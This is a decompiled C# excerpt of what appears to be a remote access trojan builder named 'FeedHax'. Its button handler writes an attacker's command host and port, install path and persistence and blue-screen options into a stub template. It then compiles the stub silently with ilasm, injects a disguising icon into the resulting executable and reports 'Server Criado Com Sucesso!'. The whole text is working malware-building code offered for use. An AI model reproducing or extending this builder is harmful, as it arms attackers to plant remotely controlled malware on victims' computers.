// Token: 0x0600047C RID: 1148 RVA: 0x001D8D64 File Offset: 0x001D7164
 public static void InjectIcon(string exeFileName, string iconFileName)
 {
     IconN.InjectIcon(exeFileName, iconFileName, 1U, 1U);
 }
        // Token: 0x060000A0 RID: 160 RVA: 0x001DE118 File Offset: 0x001DC518
        private void Button1_Click(object sender, EventArgs e)
        {
            SaveFileDialog saveFileDialog = new SaveFileDialog
            {
                Filter   = "|*.exe",
                FileName = this.VN.Text
            };
            bool flag = saveFileDialog.ShowDialog() == DialogResult.OK;

            if (flag)
            {
                bool flag2 = !this.CheckBox1.Checked;
                if (flag2)
                {
                    this.string_0 = null;
                }
                flag2 = File.Exists(saveFileDialog.FileName);
                if (flag2)
                {
                    File.Delete(saveFileDialog.FileName);
                }
                string text     = File.ReadAllText(Application.StartupPath + "\\Stub.il");
                string newValue = Class6.smethod_4(string.Concat(new string[]
                {
                    this.VN.Text,
                    this.host.Text,
                    Conversions.ToString(this.port.Value),
                    this.exe.Text,
                    this.dir.Text,
                    this.bsod.Checked.ToString(),
                    this.Idr.Checked.ToString(),
                    this.Isu.Checked.ToString(),
                    this.Isf.Checked.ToString()
                }));
                TextBox vn    = this.VN;
                string  text2 = vn.Text;
                vn.Text = text2;
                text    = text.Replace("[VN]", Class6.smethod_14(ref text2)).Replace("[H]", this.host.Text).Replace("[P]", Conversions.ToString(this.port.Value)).Replace("[EXE]", this.exe.Text).Replace("[DR]", this.dir.Text.Replace("%", string.Empty)).Replace("[BD]", this.bsod.Checked.ToString()).Replace("[RG]", newValue).Replace("[Idr]", this.Idr.Checked.ToString()).Replace("[Isu]", this.Isu.Checked.ToString()).Replace("[Isf]", this.Isf.Checked.ToString()).Replace("[klen]", this.klen.Value.ToString());
                File.WriteAllText(Interaction.Environ("temp") + "\\stub.il", text);
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    FileName       = Interaction.Environ("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe",
                    CreateNoWindow = true,
                    WindowStyle    = ProcessWindowStyle.Hidden,
                    Arguments      = string.Concat(new string[]
                    {
                        "/alignment=512 /QUIET \"",
                        Interaction.Environ("temp"),
                        "\\stub.il\" /output:\"",
                        saveFileDialog.FileName,
                        "\""
                    })
                };
                Process.Start(startInfo).WaitForExit();
                flag2 = (this.string_0 != null && File.Exists(this.string_0));
                if (flag2)
                {
                    IconN.InjectIcon(saveFileDialog.FileName, this.string_0);
                }
                IntPtr intptr_ = GClass2.BeginUpdateResource(saveFileDialog.FileName, false);
                byte[] array   = File.ReadAllBytes(Application.StartupPath + "\\Stub.manifest");
                GClass2.UpdateResource(intptr_, (IntPtr)24, (IntPtr)1, 0, array, array.Length);
                GClass2.EndUpdateResource(intptr_, false);
                Class6.smethod_3("host", this.host.Text);
                Class6.smethod_3("p", Conversions.ToString(this.port.Value));
                Class6.smethod_3("exe", this.exe.Text);
                Class6.smethod_3("dir", Conversions.ToString(this.dir.SelectedIndex));
                Class6.smethod_3("vn", this.VN.Text);
                Class6.smethod_3("bsod", this.bsod.Checked.ToString());
                Class6.smethod_3("ico", this.string_0);
                Class6.smethod_3("Idr", this.Idr.Checked.ToString());
                Class6.smethod_3("Isu", this.Isu.Checked.ToString());
                Class6.smethod_3("Isf", this.Isf.Checked.ToString());
                Class6.smethod_3("klen", this.klen.Value.ToString());
                Interaction.MsgBox("Server Criado Com Sucesso! \r\n" + saveFileDialog.FileName, MsgBoxStyle.Information, "FeedHax");
                this.Close();
            }
        }